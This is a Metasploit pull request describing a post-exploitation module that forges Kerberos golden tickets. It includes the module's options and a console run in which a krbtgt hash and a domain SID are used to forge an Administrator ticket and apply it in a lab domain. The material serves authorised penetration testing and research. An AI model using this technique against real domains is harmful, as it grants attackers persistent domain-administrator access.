rapid7/metasploit-framework — pull request #4388 by Meatballs1 (2014-12-13 16:04:04+00:00)
Title: Golden Ticketz Post module

Take the guess work out of creating a golden ticket. Assuming you are running this on a domain compromised computer let the API find the SID values for you, and grab the hash from the database if we have already dumped it...

```
msf post(golden_ticket) > show options

Module options (post/windows/escalate/golden_ticket):

Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN no Target Domain
Domain SID no Domain SID
GROUPS no ID of Groups (Comma Seperated)
ID no Target User ID
KRBTGT_HASH no KRBTGT NTLM Hash
SESSION 2 yes The session to run this module on.
USE true yes Use the ticket in the current session
USER no Target User

msf post(golden_ticket) > run

[*] Searching for the domain...
[+] Targeting metasploitable.local
[*] Searching for krbtgt hash in database...
[+] Using metasploitable.local:krbtgt:978a2e2e1dec9804c6b936f254727f9a
[*] Obtaining metasploitable.local SID...
[+] Found metasploitable.local SID: S-1-5-21-2928836948-3642677517-2073454066
[*] Looking up Domain Administrator account...
[+] Found User: Administrator
[*] Creating Golden Ticket for metasploitable.local\Administrator...
[+] Golden Ticket Obtained!
[*] Ticket saved to /home/ben/.msf4/loot/20141213160037_default_172.16.80.100_golden.ticket_864786.bin
[*] Attempting to use the ticket...
[+] Kerberos ticket applied successfully
[*] Post module execution completed
```